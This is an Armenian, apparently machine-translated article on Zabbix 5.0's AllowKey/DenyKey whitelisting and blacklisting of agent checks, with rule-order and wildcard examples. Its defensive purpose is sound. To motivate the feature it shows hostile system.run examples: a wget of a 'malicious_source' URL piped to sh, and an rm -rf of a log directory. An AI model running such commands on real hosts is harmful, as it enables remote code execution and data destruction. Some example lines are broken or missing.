Սև ցուցակի և սպիտակ ցուցակի աջակցություն գործակալի կողմից տրված չափումների համար
Տիխոն Ուսկով, Ինտեգրման ինժեներ, Zabbix
Տվյալների անվտանգության խնդիրներ
Zabbix 5.0-ն ունի նոր գործառույթ, որը թույլ է տալիս բարելավել համակարգերի անվտանգությունը՝ օգտագործելով Zabbix Agent-ը և փոխարինել հին պարամետրը: EnableRemoteCommands.
Գործակալների վրա հիմնված համակարգերի անվտանգության բարելավումները բխում են այն փաստից, որ գործակալը կարող է մեծ թվով պոտենցիալ վտանգավոր գործողություններ կատարել:
- Գործակալը կարող է հավաքել գրեթե ցանկացած տեղեկատվություն, ներառյալ գաղտնի կամ պոտենցիալ վտանգավոր տեղեկատվություն, կազմաձևման ֆայլերից, գրանցամատյանի ֆայլերից, գաղտնաբառի ֆայլերից կամ ցանկացած այլ ֆայլից:
Օրինակ, օգտագործելով zabbix_get կոմունալը, կարող եք մուտք գործել օգտվողների ցանկ, նրանց տնային դիրեկտորիաներ, գաղտնաբառի ֆայլեր և այլն:
Տվյալների մուտք՝ օգտագործելով zabbix_get կոմունալը
Նշում. Տվյալները կարող են առբերվել միայն այն դեպքում, եթե գործակալը համապատասխան ֆայլի վրա ունի կարդալու թույլտվություններ. Բայց, օրինակ, ֆայլը /etc/passwd/ ընթեռնելի բոլոր օգտագործողների կողմից:
- Գործակալը կարող է նաև կատարել պոտենցիալ վտանգավոր հրամաններ: Օրինակ, բանալին *system.run[]** թույլ է տալիս կատարել ցանկացած հեռավոր հրամաններ ցանցի հանգույցներում, ներառյալ գործող սկրիպտները Zabbix վեբ ինտերֆեյսից, որոնք նաև հրամաններ են կատարում գործակալի կողմից:
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- Linux-ում գործակալը լռելյայն աշխատում է առանց արմատային արտոնությունների, մինչդեռ Windows-ում այն աշխատում է որպես ծառայություն՝ որպես System և ունի անսահմանափակ մուտք դեպի ֆայլային համակարգ։ Համապատասխանաբար, եթե տեղադրումից հետո Zabbix Agent-ի պարամետրերում փոփոխություններ չեն կատարվել, գործակալը մուտք ունի ռեեստր, ֆայլային համակարգ և կարող է կատարել WMI հարցումներ:
Ավելի վաղ տարբերակներում պարամետրը EnableRemoteCommands=0 թույլատրվում է միայն անջատել չափումները * ստեղնովsystem.run[]** և վեբ ինտերֆեյսից գործարկվող սկրիպտներ, սակայն չկար որևէ կերպ սահմանափակել մուտքը առանձին ֆայլեր, թույլատրել կամ անջատել առանձին բանալիները, որոնք տեղադրված են եղել գործակալի հետ, կամ սահմանափակել առանձին պարամետրերի օգտագործումը:
Օգտագործելով EnableRemoteCommand պարամետրը Zabbix-ի ավելի վաղ տարբերակներում
AllowKey/DenyKey
Zabbix 5.0-ն օգնում է պաշտպանվել նման չարտոնված մուտքից՝ տրամադրելով սպիտակ ցուցակներ և սև ցուցակներ՝ գործակալի կողմից չափումները թույլատրելու և մերժելու համար:
Zabbix 5.0-ում բոլոր ստեղները, ներառյալ *system.run[]** միացված է, և գործակալի կազմաձևման երկու նոր տարբերակ ավելացվել է.
AllowKey= — թույլատրելի ստուգումներ.
DenyKey= — արգելված ստուգումներ.
որտեղ է հիմնական անվան օրինակը պարամետրերով, որոնք օգտագործում են մետանիշեր (*):
AllowKey և DenyKey ստեղները թույլ են տալիս թույլատրել կամ մերժել առանձին չափումներ՝ հիմնված որոշակի օրինաչափության վրա: Ի տարբերություն այլ կազմաձևման պարամետրերի, AllowKey/DenyKey պարամետրերի քանակը սահմանափակված չէ: Սա թույլ է տալիս հստակ սահմանել, թե կոնկրետ ինչ կարող է անել գործակալը համակարգում՝ ստեղծելով չեկերի ծառ՝ գործարկվող ստեղներ, որտեղ դրանց գրման հերթականությունը շատ կարևոր դեր է խաղում:
Կանոնների հաջորդականությունը
Կանոնները ստուգվում են այն հաջորդականությամբ, որով դրանք մուտքագրվում են կազմաձևման ֆայլում: Բանալին ստուգվում է կանոնների համաձայն՝ առաջին համընկնումից առաջ, և հենց որ տվյալների տարրի բանալին համընկնում է օրինաչափության հետ, այն թույլատրվում կամ մերժվում է։ Դրանից հետո կանոնների ստուգումը դադարում է, իսկ մնացած ստեղները անտեսվում են:
Հետևաբար, եթե տարրը համընկնում է և՛ թույլտվության, և՛ մերժման կանոնների հետ, արդյունքը կախված կլինի նրանից, թե որ կանոնն է առաջինը կազմաձևման ֆայլում:
2 տարբեր կանոններ նույն օրինակով և բանալիով vfs.file.size[/tmp/file]
AllowKey/DenyKey ստեղների օգտագործման հերթականությունը.
- ճշգրիտ կանոններ,
- ընդհանուր կանոններ,
- արգելող կանոն.
Օրինակ, եթե ձեզ անհրաժեշտ է մուտք գործել որոշակի թղթապանակում գտնվող ֆայլեր, նախ պետք է թույլատրեք մուտք գործել դրանք, ապա մերժեք մնացած ամեն ինչ, որը չի մտնում սահմանված թույլտվությունների մեջ: Եթե առաջին հերթին օգտագործվի մերժման կանոնը, մուտքը դեպի թղթապանակ կմերժվի:
Ճիշտ հաջորդականություն
Եթե Ձեզ անհրաժեշտ է թույլ տալ, որ 2 կոմունալ ծառայություններ աշխատեն *-ի միջոցովsystem.run[]**, և սկզբում կհստակեցվի մերժման կանոնը, կոմունալ ծառայությունները չեն գործարկվի, քանի որ առաջին օրինաչափությունը միշտ կհամապատասխանի ցանկացած ստեղնի, և հաջորդ կանոնները անտեսվելու են:
Սխալ հաջորդականություն
Նախշեր
Հիմնական կանոնները
Pattern-ը նիշերով արտահայտություն է: Մետանիշը (*) համընկնում է որոշակի դիրքում գտնվող ցանկացած նիշերի ցանկացած քանակի: Մետանիշերը կարող են օգտագործվել ինչպես բանալու անվանման, այնպես էլ պարամետրերի մեջ: Օրինակ, դուք կարող եք խստորեն սահմանել առաջին պարամետրը տեքստով, իսկ հաջորդը նշեք որպես wildcard.
Պարամետրերը պետք է փակցվեն քառակուսի փակագծերում []:
system.run[*
- սխալvfs.file*.txt]
- սխալvfs.file.*[*]
- ճիշտ
Վառանիշի օգտագործման օրինակներ.
- Բանալի անվան և պարամետրի մեջ: Այս դեպքում բանալին չի համապատասխանում նմանատիպ բանալի, որը պարամետր չի պարունակում, քանի որ օրինաչափության մեջ մենք նշել ենք, որ ցանկանում ենք ստանալ բանալու անվան որոշակի ավարտ և պարամետրերի որոշակի փաթեթ:
- Եթե նախշը չի օգտագործում քառակուսի փակագծեր, ապա նախշը թույլ է տալիս բոլոր ստեղները, որոնք չեն պարունակում պարամետրեր և մերժում է բոլոր ստեղները, որոնք պարունակում են նշված պարամետրը:
- Եթե բանալին գրված է ամբողջությամբ, և պարամետրերը նշված են որպես նիշ, այն կհամապատասխանի ցանկացած նմանատիպ բանալի ցանկացած պարամետրի հետ և չի համընկնի առանց քառակուսի փակագծերի բանալին, այսինքն՝ այն կթույլատրվի կամ մերժվի:
Պարամետրերի լրացման կանոններ.
- Եթե նախատեսվում է օգտագործել պարամետրերով բանալի, ապա պարամետրերը պետք է նշվեն կազմաձևման ֆայլում: Պարամետրերը պետք է նշվեն որպես մետանիշ: Անհրաժեշտ է զգուշորեն մերժել ցանկացած ֆայլի մուտքը և հաշվի առնել, թե ինչ տեղեկատվություն կարող է տրամադրել մետրիկը տարբեր ուղղագրություններով՝ պարամետրերով և առանց պարամետրերի:
Պարամետրերով ստեղներ գրելու առանձնահատկությունները
- Եթե բանալին նշված է պարամետրերով, բայց պարամետրերը կամընտիր են և նշված են որպես մետանիշ, առանց պարամետրերի բանալին կլուծվի: Օրինակ, եթե ցանկանում եք անջատել պրոցեսորի բեռնվածության մասին տեղեկություններ ստանալը և նշել, որ system.cpu.load[*] ստեղնը պետք է անջատված լինի, մի մոռացեք, որ առանց պարամետրերի բանալին կվերադարձնի միջին բեռնվածության արժեքը:
Պարամետրերի լրացման կանոններ
Նշումներ
հարմարեցում
- Որոշ կանոններ չեն կարող փոփոխվել օգտվողի կողմից, օրինակ՝ հայտնաբերման կանոնները կամ գործակալի ինքնագրանցման կանոնները: AllowKey/DenyKey կանոնները չեն ազդում հետևյալ պարամետրերի վրա.
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
Նշում. Եթե ադմինիստրատորն անջատում է բանալին, երբ հարցնում են, Zabbix-ը տեղեկատվություն չի տրամադրում այն մասին, թե ինչու է չափանիշը կամ բանալին ընկնում « կատեգորիային »ՉԻ ԱՊԱՀՈՎՎՈՒՄ'. Հեռակառավարման հրամանների կատարման արգելքների մասին տեղեկությունները նույնպես չեն ցուցադրվում գործակալների մատյանների ֆայլերում: Սա անվտանգության նկատառումներով է, բայց կարող է բարդացնել վրիպազերծումը, եթե չափորոշիչները ինչ-ինչ պատճառներով ընկնում են չաջակցվող կատեգորիայի մեջ:.
- Արտաքին կազմաձևման ֆայլերը միացնելու համար չպետք է ապավինեք որևէ հատուկ կարգի (օրինակ՝ այբբենական կարգով):
Command Line Utilities
Կանոնները հաստատելուց հետո դուք պետք է համոզվեք, որ ամեն ինչ ճիշտ է կազմաձևված:
Դուք կարող եք օգտագործել երեք տարբերակներից մեկը.
- Ավելացրեք չափիչ Zabbix-ին:
- Փորձարկել հետ zabbix_agentd. Zabbix գործակալ օպցիոնով - տպել (-p) ցույց է տալիս բոլոր ստեղները (որոնք լռելյայն թույլատրված են), բացառությամբ նրանց, որոնք չեն թույլատրվում կոնֆիգուրացիայի կողմից: Եվ տարբերակով -թեստ (-t) քանի որ արգելված բանալին կվերադառնա»Չաջակցվող տարրի բանալի'.
- Փորձարկել հետ zabbix_get. Կոմունալ zabbix_get տարբերակով -k կվերադառնա 'ZBX_NOTSUPPORTED. Անհայտ չափանիշ'.
Թույլատրել կամ մերժել
Դուք կարող եք մերժել մուտքը ֆայլ և հաստատել, օրինակ, օգտագործելով կոմունալ ծրագիրը zabbix_getոր ֆայլի մուտքն արգելված է:
**
Նշում. Պարամետրի մեջբերումներն անտեսվում են.
Այս դեպքում նման ֆայլի մուտքը կարող է թույլատրվել այլ ճանապարհով: Օրինակ, եթե սիմվոլը տանում է դրան:
Խորհուրդ է տրվում ստուգել նշված կանոնների կիրառման տարբեր տարբերակներ, ինչպես նաև հաշվի առնել արգելքները շրջանցելու հնարավորությունները։
Հարց ու պատասխան
Հարց. Ինչու՞ ընտրվեց նման բարդ օրինաչափություն իր սեփական լեզվով` նկարագրելու կանոնները, թույլտվությունները և արգելքները: Ինչո՞ւ հնարավոր չեղավ օգտագործել, օրինակ, Zabbix-ի կանոնավոր արտահայտությունները:
Պատասխան. Սա ռեգեքսի աշխատանքի խնդիր է, քանի որ սովորաբար կա միայն մեկ գործակալ և այն ստուգում է մեծ թվով չափումներ: Regex-ը բավականին ծանր գործողություն է, և մենք չենք կարող այս կերպ ստուգել հազարավոր չափումներ: Wildcards - ունիվերսալ, լայնորեն օգտագործվող և պարզ լուծում.
Հարց. Արդյո՞ք Include ֆայլերը ներառված չեն այբբենական կարգով:
Պատասխան. Որքան ես գիտեմ, գործնականում անհնար է կանխատեսել կանոնների կիրառման հերթականությունը, եթե կանոնները տարածես տարբեր ֆայլերի վրա: Ես խորհուրդ եմ տալիս հավաքել բոլոր AllowKey/DenyKey կանոնները մեկ Include ֆայլում, քանի որ դրանք փոխազդում են միմյանց հետ և ներառել այս ֆայլը.
Հարց. Zabbix 5.0-ում տարբերակը 'EnableRemoteCommands=' բացակայում է կազմաձևման ֆայլից և հասանելի են միայն AllowKey/DenyKey-ը:
Պատասխանել. Այո դա ճիշտ է.
Շնորհակալություն ձեր ուշադրության համար:
Source: www.habr.com